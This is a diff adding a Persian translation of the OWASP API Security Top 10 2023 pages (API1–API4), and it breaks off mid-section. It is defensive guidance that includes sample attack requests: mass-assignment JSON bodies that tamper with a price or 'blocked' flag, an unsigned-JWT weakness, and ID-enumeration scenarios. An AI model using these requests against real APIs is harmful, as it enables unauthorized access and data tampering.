+|---------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| [API1:2023 - نقض مجوزدهی در سطح اشیا][api1] | APIها معمولا توابع مدیریت کننده شناسه‌های اشیا را در معرض دید قرار داده و سطح حمله گسترده‌ای را برای نقض کنترل دسترسی ایجاد می‌نمایند. کنترل‌های مجوزدهی در سطح اشیا بایستی در کلیه توابعی که با گرفتن ورودی از کاربر به منابع داده دسترسی دارند پیاده‌سازی شود. | +| [API2:2023 - احرازهویت نادرست کاربر][api2] | مکانیزم‌های احرازهویت گاها به درستی پیاده‌سازی نشده و سبب دسترسی مهاجمین به توکن‌های احرازهویت و ربایش موقت یا دائمی هویت سایر کاربران با استفاده از نقایص این مکانیزم‌ها می شوند. در صورت عدم توانایی سیستم در شناخت کلاینت یا کاربر، امنیت API نیز نقض خواهد شد. | +| [API3:2023 - نقض مجوزدهی در سطح ویژگی‌های شیء][api3] | این دسته‌، ترکیبی از [API3:2019 افشای مفرط داده][1] و [API6:2019 تخصیص جمعی][2] می‌باشد که بر روی علت اصلی این مشکل تمرکز دارد: عدم وجود یا صحیح بودن اعتبارسنجی مجوزهای دسترسی در سطح ویژگی‌های شیء موجب افشای اطلاعات به نحو نادرست یا تغییر و دستکاری اطلاعات توسط افراد غیرمجاز می‌شود. | | +| [API4:2023 - مصرف بدون محدودیت منابع][api4] | برای انجام درخواست‌های API، منابعی مانند پهنای باند شبکه، واحد پردازش مرکزی (CPU)، حافظه و ذخیره‌سازی لازم است. منابع دیگری مانند ایمیل‌ها، پیام‌ های کوتاه‌ (SMS)، تماس‌های تلفنی، یا اعتبارسنجی بایومتریک توسط ارائه‌دهندگان خدمات از طریق ادغام API نیز در دسترس قرار گرفته و بر اساس هر درخواست بکار گرفته می‌شوند. حملات موفق می‌توانند منجر به رد سرویس‌دهی (Denial of Service) یا افزایش هزینه‌های عملیاتی شوند. | +| [API5:2023 - نقض مجوزدهی در سطح توابع][api5] | مکانیزم‌‌های پیچیده کنترل دسترسی با سلسله مراتب، گروه‌‌ها و نقش‌‌های متفاوت و مرز نامشخص بین توابع عادی و مدیریتی سبب بروز نقایص مجوزدهی می‌شوند. با بهره برداری از این آسیب‌پذیری‌‌ها مهاجمین به منابع سایر کاربران و یا توابع مدیریتی دست خواهند یافت. | +| [API6:2023 - دسترسی بدون محدودیت به جریان‌های حساس کسب‌وکار][api6] | پیوند دادن داده ارائه شده توسط کلاینت (نظیر اشیا JSON) با مدل‌‌های داده بدون فیلترکردن مناسب آنها بر مبنای یک لیست سفید می‌تواند منجر به تخصیص جمعی شود. با تشخیص ویژگی‌‌های اشیا، کاوش سایر توابع، خواندن مستندات یا ارائه ویژگی‌‌های اضافی برای اشیا در بدنه درخواست‌‌ها، مهاجم می‌تواند ویژگی‌‌هایی از اشیا که برای وی مجاز نیست را دستکاری نماید. | +| [API7:2023 - جعل درخواست در سمت سرور][api7] | درخواست‌هایی که از سمت سرور به وسیله یک برنامه یا سرویس وب به منبع دیگری در اینترنت ارسال می‌شوند، ممکن است به اشتباه یا بدون اعتبارسنجی صحیح آدرس (URI) توسط کاربر ارسال شوند. این مشکل می‌تواند به مهاجم این امکان را بدهد که برنامه را مجبور به ارسال درخواست‌های ساختگی به مقصدی که برنامه اصلاً منتظر نبوده، بکند. حتی اگر برنامه تحت حفاظت دیوار آتش یا شبکه خصوصی مجازی باشد. این نوع حمله امنیتی SSRF نام دارد و می‌تواند به دسترسی غیرمجاز به منابع دیگر یا سیستم‌های داخلی شبکه منجر شود. در نتیجه، اعتبارسنجی و کنترل دقیق بر روی URI‌های ارسالی به سمت سرور بسیار مهم است تا از وقوع چنین حملاتی جلوگیری شود. | +| [API8:2023 - پیکربندی امنیتی نادرست][api8] | وقتی پیکربندی‌ها به درستی مدیریت نشده و اصول امنیتی را رعایت نکنند، احتمال وقوع حملات امنیتی به سیستم‌ها و API‌ها افزایش می‌یابد. این نقاط ضعف در پیکربندی می‌توانند به حملاتی مانند حملات به امنیت شبکه (Network Security Attacks)، حملات نفوذ به سیستم (System Intrusion)، حملات SSRF که در قسمت قبل بحث شد، یا حملات دیگر امنیتی منجر شوند. به همین دلیل اهمیت حفاظت از پیکربندی‌های مرتبط با API‌ها و سیستم‌های مرتبط با آنها از نظر امنیتی بسیار بالاست و مهم است که توسعه‌دهندگان و مهندسان DevOps به این جنبه‌ها توجه ویژه‌ای داشته باشند. | +| [API9:2023 - مدیریت نادرست دارایی‌‌ها][api9] | APIها معمولا توابع بیشتری را نسبت به وب اپلیکیشن‌‌های سنتی در معرض دید قرار می‌دهند که این موضوع اهمیت مستندسازی مناسب و بروز را دوچندان می‌نماید. داشتن فهرستی از میزبان‌‌ها و نسخه‌‌های بکارگرفته شده API نقش مهمی در رفع ‌‌‌آسیب‌پذیری‌‌های مرتبط با نسخ قدیمی API و توابع مرتبط با debugging ایفا می‌کند. | +| [API10:2023 - استفاده ناایمن از APIها][api10] | توسعه‌دهندگان به دلیل اعتماد بیشتر به داده‌هایی که از API‌های طرف ثالث دریافت می‌کنند، به استانداردهای امنیتی کمتری پایبند هستند. مهاجمان هم به جای حمله مستقیم به API اصلی، به سرویس‌های طرف ثالث حمله می‌کنند. این مسئله ممکن است منجر به ایجاد شکاف‌ها و آسیب‌پذیری‌های امنیتی در نرم‌افزارها شود. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/fa/0xa1-broken-object-level-authorization.md b/editions/2023/fa/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..f121be97e --- /dev/null +++ b/editions/2023/fa/0xa1-broken-object-level-authorization.md @@ -0,0 +1,50 @@ +# API1:2023 نقض مجوزدهی در سطح اشیاء + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / خاص کسب و کار | +|مهاجمین می‌توانند از نقاط و توابع ‌آسیب‌پذیر (از منظر مجوزدهی نادرست در سطح اشیا) با دستکاری شناسه شیء ارسالی درون درخواست سوءاستفاده و بهره برداری نمایند. این امر می‌تواند منجر به دسترسی غیرمجاز به داده حساس شود. دسترسی غیرمجاز به داده حساس، مساله‌ای رایج در اپلیکیشن‌های مبتنی بر API است چرا که مولفه سرور غالبا به طور کامل وضعیت کلاینت را رهگیری نمی‌کند و در عوض برای تصمیم گیری درباره دسترسی کلاینت به اشیاء از پارامترهایی نظیر شناسه شی که از سوی خود کلاینت ارسال می‌شوند، تکیه دارند.|این حمله رایج ترین ‌آسیب‌پذیری APIها بوده و بیشترین پیامدها را نیز در پی دارد. مکانیزم‌های مجوزدهی و کنترل دسترسی در اپلیکیشن‌های مدرن، پیچیده و گسترده هستند. حتی اگر اپلیکیشن زیرساخت مناسب را برای کنترل‌های مجوزدهی ‌‌‌‌پیاده‌سازی نماید، ممکن است توسعه دهندگان پیش از دسترسی به اشیا حساس، استفاده از این کنترل‌ها را فراموش نمایند. تشخیص نقایص مربوط به کنترل دسترسی از طریق تست‌های ایستا یا پویا به صورت خودکار غالبا امکان پذیر نیست.|دسترسی غیرمجاز می‌تواند منجر به افشای اطلاعات به طرف‌های غیرمجاز، از دست رفتن داده یا دستکاری آن شود. همچنین دسترسی غیرمجاز به اشیا می‌تواند سبب تحت کنترل گرفتن کامل حساب کاربری توسط مهاجم گردد.| + +## آیا API از نظر نقض مجوزدهی در سطح اشیاء آسیب‌پذیر است؟ + +مجوزدهی در سطح اشیا مکانیزمی برای کنترل دسترسی است که غالبا در سطح کد ‌‌‌‌پیاده‌سازی شده و دسترسی کاربر به اشیایی که بایستی به آنها دسترسی داشته باشد را تضمین می‌نماید. + +هر تابعی در API که یک شناسه شی دریافت نموده و نوعی عملیات بر روی آن شی انجام می‌دهد، بایستی کنترل‌های مجوزدهی در سطح اشیا را بکار گیرد. این کنترل‌ها باید دسترسی کاربرِ واردشده به انجام عمل درخواستی بر روی شی درخواستی را اعتبارسنجی نمایند. + +وجود ایراد و نقصان در این مکانیزم منجر به افشای اطلاعات غیرمجاز، تغییر یا از بین رفتن تمامی داده خواهد شد. + +در مسئله‌ی Broken Object Level Authorization (BOLA)، امنیت کاربران در دسترسی به اطلاعات و منابع در سیستم به خطر می‌افتد. این مشکل زمانی رخ می‌دهد که سیستم یک درخواست API حاوی یک شناسه (مثلاً شناسه یک مورد یا اشیاء خاص) را دریافت می‌کند و بدون بررسی دقیق این شناسه و اعتبارسنجی آن، به منابع مرتبط با آن شناسه دسترسی می‌دهد. مهاجمان با تغییر شناسه در درخواست‌های خود می‌توانند به اطلاعاتی دسترسی پیدا کنند که به طور عادی نباید به آن‌ها دسترسی داشته باشند. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 +یک پلتفرم تجارت الکترونیک، برای فروشگاه‌های آنلاین نمودارهای سود فروشگاه‌های میزبانی شده را در قالب یک لیست چندصفحه‌ای ارائه می‌دهد. مهاجم با بررسی درخواست‌های مرورگر، توابعی از API که نقش منبع داده برای نمودارهای مذکور را دارند و الگوی آنها به صورت `/shops/{shopName}/revenue_data.json` می‌باشد را شناسایی می‌کند. با استفاده از یک تابع دیگر API، مهاجم می‌تواند لیست نام کلیه فروشگاه‌های میزبانی شده را استخراج نماید. همچنین مهاجم با استفاده از یک اسکریپت ساده و جایگزین کردن `{shopName}` در URL خواهد توانست به داده‌ی فروش هزاران فروشگاه دسترسی یابد. + +### سناریو #2 +یک تولیدکننده خودرو از طریق یک API امکان کنترل از راه دور خودروها را برای ارتباط با تلفن همراه راننده فراهم کرده است. این API به راننده این امکان را می‌دهد که موتور خودرو را از راه دور روشن و خاموش کند و درب‌ها را قفل و باز کند. در این فرآیند، کاربر شماره شناسایی خودرو (VIN) را به API ارسال می‌کند. متأسفانه، API قادر به اعتبارسنجی نمی‌باشد که آیا VIN به ماشینی کاربر وارد شده اختصاص دارد یا نه. این مشکل منجر به وقوع یک آسیب‌پذیری به نام BOLA می‌شود و به این ترتیب مهاجم می‌تواند به خودروهایی دسترسی پیدا کند که به او تعلق ندارند. + +### سناریو #3 +یک سرویس ذخیره‌سازی اسناد آنلاین به کاربران این امکان را می‌دهد که اسناد خود را مشاهده، ویرایش، ذخیره و حذف کنند. هنگامی که کاربری یکی از اسناد خود را حذف می‌کند، یک عملیات درخواستی به نام GraphQL Mutation با استفاده از شناسه (ID) مربوط به سند حذف‌شده به API ارسال می‌شود. این درخواست GraphQL به API اطلاع می‌دهد که یک سند باید حذف شود و API مسئول انجام این عملیات حذف است. + +## چگونه از آسیب‌پذیری مجوزدهی نادرست در سطح اشیاء پیشگیری کنیم؟ + +- بکارگیری یک مکانیزم مجوزدهی که بر خط مشی و سلسله مراتب کاربری تمرکز دارد. +- استفاده از یک مکانیزم مجوزدهی برای بررسی اینکه آیا کاربر واردشده مجوز لازم برای انجام عملیات درخواستی بر روی رکورد در تمامی توابعی که از کلاینت، ورودی می‌گیرند تا به رکورد مذکور در پایگاه داده دسترسی داشته باشند را دارا است یا خیر؟ +- ارجحیت استفاده از مقادیر تصادفی و غیرقابل پیش بینی بعنوان GUID برای شناسه رکوردها. +- طراحی آزمون‌هایی برای ارزیابی صحت عملکرد مکانیزم‌های مجوزدهی. + +## مراجع + +- [Authorization Cheat Sheet][1] +- [Authorization Testing Automation Cheat Sheet][2] + +### خارجی +- [CWE-285: Improper Authorization][3] +- [CWE-639: Authorization Bypass Through User-Controlled Key][4] + + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/fa/0xa2-broken-authentication.md b/editions/2023/fa/0xa2-broken-authentication.md new file mode 100644 index 000000000..723f5b10b --- /dev/null +++ b/editions/2023/fa/0xa2-broken-authentication.md @@ -0,0 +1,85 @@ +# API2:2023 احرازهویت نادرست کاربر + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / خاص کسب و کار | +|دسترسی همه به سیستم احراز هویت موجب می‌شود تا این مکانیزم هدفی آسان و در دسترس برای مهاجمین باشد. با اینکه برای بهره‌برداری از برخی از مشکلات احراز هویت ممکن است مهارت‌های فنی پیشرفته‌تری لازم باشد، ابزارهای بهره‌برداری مرتبط در دسترس هستند.|درک نادرست توسعه‌دهندگان نرم‌افزار و مهندسان امنیتی از مفاهیم مرتبط با احراز هویت و پیچیدگی پیاده‌سازی داخلی، منجر به اشتباهاتی در فهم چگونگی کارکرد و اهمیت مسائل احراز هویت می‌شود. این اشتباهات باعث می‌شود که مشکلات مرتبط با احراز هویت به طور گسترده‌تر و رایج‌تری در نرم‌افزارها و سیستم‌های مختلف پدیدار شود. روش‌ها و رویکردهایی برای شناسایی و تشخیص این نوع اشکالات در احراز هویت وجود دارد و تولید آنها نیز به طور کلی آسان است. به عبارت دیگر، می‌توان به راحتی ابزارها و روش‌هایی برای کشف و پیگیری مشکلات احراز هویت در نرم‌افزارها ایجاد کرد.|مهاجمین می‌توانند به حساب‌های کاربری سایر کاربران دسترسی یافته، اطلاعات شخصی آنها را خوانده و عملیات حساس (نظیر نقل و انتقالات مالی و ارسال پیام‌های شخصی) را از طرف آنها انجام دهد.| + +## آیا API از نظر احرازهویت نادرست کاربر آسیب‌پذیر است؟ + +نقاط، توابع و جریان‌های احرازهویت API دارایی‌هایی هستند که بایستی محافظت شوند. همچنین توابع «فراموشی گذرواژه یا بازیابی گذرواژه» نیز بایستی در زمره مکانیزم‌های احرازهویت در نظر گرفته شوند. +یک API از منظر احرازهویت نادرست کاربر، آسیب‌پذیر است اگر: +- اجازه حمله درج هویت را بدهد که در آن مهاجم از لیستی از نام‌های کاربری و گذرواژه‌های معتبر استفاده می‌نماید. +- بدون استفاده از مکانیزم‌های CAPTCHA یا قفل کردن حساب کاربری اجازه حمله Brute Force روی یک حساب کاربری را بدهد. +- اجازه استفاده از گذرواژه‌های ضعیف را بدهد. +- جزئیات و داده‌های حساس مرتبط با احرازهویت از قبیل توکن‌های اصالت سنجی و گذرواژه‌ها را از طریق URL ارسال نماید. +- اصالت توکن‌ها را به بوته آزمون نگذارد. +- توکن‌ JWT ضعیف یا بدون امضا (`{"alg":"none"}`) را بپذیرد یا تاریخ انقضای آنها را اعتبارسنجی ننماید. +- از گذرواژه‌های آشکار ، رمزگذاری نشده یا درهم سازی شده بصورت ضعیف استفاده نماید. +- از کلیدهای رمزگذاری ضعیف بهره ببرد. + +علاوه بر این، یک میکروسرویس آسیب‌پذیر است اگر: +- میکروسرویس‌های دیگر بدون احراز هویت به آن دسترسی پیدا کنند. +- از توکن‌های ضعیف یا قابل پیش‌بینی برای اعمال احراز هویت استفاده کند. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +درج هویت (استفاده از لیستی از نام‌های کاربری یا گذرواژه‌های شناخته شده) حمله‌ای رایج است. اگر اپلیکیشن از مکانیزم‌های حفاظتی خودکار در مقابل تهدیداتی نظیر درج هویت بهره نبرده باشد، آنگاه اپلیکیشن می‌تواند بعنوان یک پیشگوی گذرواژه یا آزمونگر جهت بررسی صحت اطلاعات هویتی جهت عبور از مکانیزم احرازهویت بکار رود. + +برای انجام احراز هویت کاربر، مشتری باید یک درخواست API مشابه مورد زیر را با اطلاعات ورود کاربر، صادر کند: + +``` +POST /graphql +{ + "query":"mutation { + login (username:""password:"") { + token + } + }" +} +``` + +### سناریو #2 + +برای به‌روزرسانی آدرس ایمیل مرتبط با حساب کاربران، مشتریان باید یک درخواست API مانند درخواست زیر را ارسال کنند: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +## چگونه از ‌آسیب‌پذیری احرازهویت نادرست کاربر پیشگیری کنیم؟ + +- حصول اطمینان از آنکه تمامی جریان‌های ممکن برای احراز هویت API (موبایل یا وب، سایر لینک‌هایی که از مکانیزم احرازهویت با یک کلیک و غیره) شناسایی شده است. در این زمینه می‌توانید با توسعه دهندگان و مهندسین مشورت کنید. +- مطالعه و فهم کامل مکانیزم‌های احرازهویت استفاده شده در اپلیکیشن؛ بایستی درنظر داشت که OAuth و کلیدهای API نمی‌توانند بعنوان مکانیزمی برای احرازهویت به شمار آیند. +- در مساله احرازهویت، تولید توکن و ذخیره‌سازی گذرواژه، نباید چرخ را از ابتدا اختراع کرد بلکه بایستی از استانداردها استفاده نمود. +- توابع بازیابی یا فراموشی گذرواژه بایستی از منظر محافظت در مقابل Brute Force، محدودسازی نرخ و قفل شدن حساب کاربری هم ارز با توابع و نقاط ورود در نظر گرفته شود. +- برای عملیات‌ حساس (مانند تغییر آدرس ایمیل مالک حساب/شماره تلفن مربوط به احراز هویت دو عاملی)، نیاز به احراز هویت مجدد می‌باشد. +- از راهنمای احرازهویت [OWASP][1] استفاده شود. +- بکارگیری احرازهویت چندعاملی ، در هر جا که امکان داشت. +- برای کاهش حملات درج هویت، Dictionary و Brute force، مکانیزم‌های ضد حمله Brute force را پیاده‌سازی کنید. این مکانیزم‌ها باید سخت‌گیرانه‌تر از مکانیزم‌های معمول محدودیت نرخ در APIها باشند. +- برای جلوگیری از حملات brute force بر روی کاربران خاص، مکانیزم‌های [قفل کردن حساب کاربری][2] و استفاده از CAPTCHA و برای افزایش امنیت، روش‌های شناسایی رمزهای عبور ضعیف نیز باید پیاده‌سازی شوند. +- کلید‌های API نباید برای احراز هویت کاربران استفاده شوند و تنها می‌بایست برای احراز هویت [مشتریان API][3] مورد استفاده قرار گیرند. + +## مراجع + +- [OWASP Key Management Cheat Sheet][1] +- [OWASP Authentication Cheatsheet][4] +- [Credential Stuffing][5] + +### خارجی + +- [CWE-204: Observable Response Discrepancy][6] +- [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/fa/0xa3-broken-object-property-level-authorization.md b/editions/2023/fa/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..fdd3bb7df --- /dev/null +++ b/editions/2023/fa/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,110 @@ +# API3:2023 نقض مجوزدهی در سطح ویژگی‌های شیء + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / خاص کسب و کار | +| APIها معمولاً اطلاعات تمام ویژگی‌های شیء درخواستی را به کاربر ارائه می‌دهند. این ویژگی در APIهای REST بسیار رایج است. در مقابل، در پروتکل‌های دیگر مانند GraphQL، شما می‌توانید درخواست‌های دقیق‌تری برای بازگشت ویژگی‌های خاص از یک شیء ارسال کنید. درنتیجه کنترل دقیق‌تری بر روی داده‌های دریافتی خواهید داشت. آگاهی از اینکه کدام ویژگی شیء، اضافی است دشوار است؛ زیرا ویژگی‌های اضافی ممکن است بسته به شرایط، تغییر کنند، اما ابزارهای خودکاری نیز وجود دارند که به تشخیص و مدیریت این ویژگی‌ها کمک می‌کنند. | بررسی پاسخ‌های API، روشی برای شناسایی اطلاعات حساس می‌باشد که از طریق این شناسایی می‌توان ویژگی‌های اضافی و پنهان را کشف کرد. از تکنیک‌هایی مانند فازینگ برای شناسایی ویژگی‌های اضافی استفاده می‌شود. اگر می‌خواهید بفهمید که آیا این ویژگی‌ها قابل تغییر هستند یا نه، باید درخواست‌های API خاصی را ارسال کرده و پس از تجزیه و تحلیل پاسخ‌های دریافتی درباره حساسیت اطلاعات موجود در آن، تصمیم بگیرید. در صورتی که ویژگی مورد نظر در پاسخ API نباشد، ممکن است نیاز به تحلیل اثرات جانبی داشته باشید تا بتوانید ویژگی مورد نظر را شناسایی و کنترل کنید.| دسترسی غیرمجاز به ویژگی‌های حساس یا خصوصی شیء، ممکن است منجر به افشا، از دست دادن یا خرابی داده شود. در شرایط خاص، دسترسی غیرمجاز به ویژگی‌های شیء می‌تواند به ارتقاء سطح دسترسی یا تصاحب جزئی/کامل حساب کاربری منجر شود.| + +## آیا API از نظر نقض مجوزدهی در سطح ویژگی‌های شیء ‌آسیب‌پذیر است؟ + +هنگامی که از طریق یک endpoint به یک کاربر اجازه دسترسی به یک شیء می‌دهید، دقت کنید که کاربر تنها به ویژگی‌های مجاز دسترسی داشته باشد. +endpoint آسیب‌پذیر است اگر: + +1. ویژگی‌های حساس یک شیء را به کاربر غیرمجاز، افشا ‌کند (این مورد قبلاً با نام "افشای مفرط داده" نامگذاری شده بود). +2. به کاربر اجازه ‌دهد که مقدار یک ویژگی حساس شیء را که کاربر نباید به آن دسترسی داشته باشد، تغییر داده، اضافه یا حذف کند (این مورد قبلاً با نام "تخصیص جمعی" نامگذاری شده بود). + +### مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +یک برنامه دوستیابی به کاربر این امکان را می‌دهد که رفتار نامناسب دیگر کاربران را گزارش کند. در این فرآیند، کاربر روی دکمه "گزارش" کلیک کرده و API زیر را فراخوانی می‌کند: + +``` +POST /graphql +{ + "operationName":"reportUser" + "variables":{ + "userId": 313 + "reason":["offensive behavior"] + } + "query":"mutation reportUser($userId: ID! $reason: String!) { + reportUser(userId: $userId reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +### سناریو #2 + +یک پلتفرم اجاره اقامتگاه آنلاین را در نظر بگیرید که در آن به کاربران میزبان اجازه می‌دهد که آپارتمان خود را به کاربران مهمان اجاره دهند. میزبان می‌بایست پیش از اقدام به پرداخت مهمان، درخواست رزرو وی را تأیید کند. +` +``` +{ + "approved": true + "comment": "Check-in is after 3pm" +} +``` + +میزبان می‌تواند درخواست معتبر را تکرار کرده و پیام‌های مخرب زیر را اضافه کند: +` +``` +{ + "approved": true + "comment": "Check-in is after 3pm" + "total_stay_price": "$1000000" +} +``` + +### سناریو #3 + +یک شبکه اجتماعی که برای نمایش ویدیوهای کوتاه ساخته شده است، اقدام به اعمال فیلترینگ محتوا و سانسور محتوای کاربران می‌نماید. حتی اگر ویدیوی آپلود شده مسدود شود، کاربر می‌تواند توضیحات ویدیو را با استفاده از درخواست API زیر تغییر دهد: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +یک کاربر ناراضی می‌تواند درخواست معتبر را تکرار کرده و پیام‌های مخرب زیر را به درخواست اضافه کند: + +``` +{ + "description": "a funny video about cats" + "blocked": false +} +``` + +## چگونه از ‌آسیب‌پذیری نقض مجوزدهی در سطح ویژگی‌های شیء پیشگیری کنیم؟ + +- هنگام ارائه یک شیء از طریق endpoint، همیشه اطمینان حاصل کنید که کاربر از قبل به ویژگی‌های ارائه شده، دسترسی داشته باشد. +- اجتناب از استفاده از متدهای عمومی `to_json` و `to_string` و در عوض شناسایی کردن تک تک ویژگی‌ها و مشخصه‌هایی که برای پاسخ ضروری هستند. +- در صورت امکان، از توابعی که به طور خودکار ورودی کاربر را به متغیرهای کد، اشیاء داخلی یا ویژگی‌های شیء متصل می‌کنند ("تخصیص جمعی") استفاده نکنید. +- کاربر تنها بتواند ویژگی‌های مشخص و مجاز شیء را بروزرسانی کند. +- بکارگیری یک مکانیزم اعتبارسنجی الگومحور برای بررسی اعتبار پاسخ‌ها بعنوان یک لایه امنیتی دیگر و همچنین تعریف و اعمال این مکانیزم بر روی داده بازگردانده شده تمامی APIها از جمله خطاها. +- بر اساس نیازهای متد درخواستی، ساختارهای داده بازگردانده شده را در حداقل مقدار ممکن نگه دارید. + +## مراجع + +- [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +- [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +- [Mass Assignment Cheat Sheet][3] + +### خارجی + +- [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/fa/0xa4-unrestricted-resource-consumption.md b/editions/2023/fa/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..1040fc312 --- /dev/null +++ b/editions/2023/fa/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,115 @@ +# API4:2023 استفاده نامحدود از منابع + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: متوسط | میزان شیوع: گسترده/ قابلیت تشخیص: آسان | پیامد فنی: شدید / خاص کسب و کار | +|بهره برداری از این آسیب‌پذیری نیاز به ارسال درخواست‌های ساده‌ای به سوی API دارد. کافی است تعدادی درخواست هم‌زمان از یک ماشین و یا با استفاده از منابع رایانش ابری به سوی API ارسال گردد تا بتوان از این آسیب‌پذیری بهره برد. اکثر ابزارهای خودکاری که موجود هستند، به منظور ایجاد حمله DoS از طریق بارگذاری حجم زیادی از ترافیک طراحی شده‌اند که این کار می‌تواند به سرویس‌دهی APIها آسیب رسانده و سرعت آن‌ها را کاهش دهد.|یافتن APIهایی که محدودسازی نرخ ارسال را بکار نگرفته یا محدودیت‌های اعمال شده آنها ناکافی است، کار دشواری نیست. برای شناسایی این مشکل، مهاجمان می‌توانند درخواست‌های API را با پارامترهای خاصی طراحی کنند که تعداد منابعی را که API باز می‌گرداند، تغییر دهند. سپس با تجزیه و تحلیل وضعیت، زمان، و طول پاسخ‌های دریافتی، مشکل را شناسایی کنند. این موضوع برای عملیات‌های دسته‌ای هم صدق می‌کند. مهاجمان می‌توانند درخواست‌های دسته‌ای را با تغییر تعداد منابعی که در هر درخواست بازگشت داده می‌شوند، ارسال کرده و با ایجاد بارگذاری نامتعادل، اثرات منفی بر روی سرویس API ایجاد کنند. ممکن است مهاجمان اطلاعی از هزینه‌های اقتصادی حملات خود برای ارائه‌دهندگان خدمات نداشته باشند، اما می‌توانند با تحلیل مدل تجاری و قیمت‌گذاری خدمات، اثرات مالی این حملات را تخمین بزنند. |بهره برداری از این آسیب‌پذیری می‌تواند منجر به بروز DoS شده، در نتیجه API را از پاسخ به درخواست‌ها باز دارد و یا حتی آن را از دسترس خارج نماید. استفاده از این آسیب‌پذیری می‌تواند به دو شکل تأثیر منفی داشته باشد. اولاً، می‌تواند منجر به حمله DoS شده و منابع سیستم را اشغال کند. دوماً، به دلیل افزایش تقاضا بر روی واحدهای پردازشی، افزایش نیاز به فضای ذخیره‌سازی ابری و موارد مشابه می‌تواند منجر به افزایش هزینه‌های عملیاتی مرتبط با زیرساخت شود.| + +### آیا API از نظر مصرف بدون محدودیت منابع ‌‌آسیب‌پذیر است؟ + +درخواست‌‌های ارسال شده به سوی API منابعی از قبیل پهنای باند شبکه، پردازنده، حافظه و فضای ذخیره‌سازی را مصرف می‌کنند. برخی از منابع مورد نیاز برای اجرای درخواست‌های API از طریق دیگر ارائه‌دهندگان خدمات API فراهم می‌شوند. این منابع ممکن است شامل ارسال ایمیل، پیام متنی، تماس تلفنی یا اعتبارسنجی بیومتریک و موارد مشابه باشند. +اگر دست‌کم یکی از محدودیت‌‌های زیر در سمت API به کلی اعمال نشده یا بطور نادرست (مثلا بیش از حد زیاد یا بیش از حد کم) ‌‌‌‌پیاده‌سازی شده باشد آنگاه API از منظر محدودیت یا کمبود نرخ ارسال، ‌‌آسیب‌پذیر خواهد بود: +- Time Out اجرا +- حداکثر میزان حافظه قابل تخصیص +- حداکثر تعداد توصیف‌گر فایل‌‌ها +- حداکثر تعداد پردازه‌‌ها +- حداکثر سایز بارگزاری فایل +- تعداد فراخوانی‌هایی که یک کلاینت می‌تواند در یک درخواست واحد انجام دهد (مانند GraphQL batching) +- تعداد رکوردهای بازگردانده شده در هر صفحه +- حداکثر هزینه‌ای که ارائه‌دهندگان خدمات شخص ثالث می‌توانند از مشتریان دریافت کنند + +## مثال‌‌هایی از 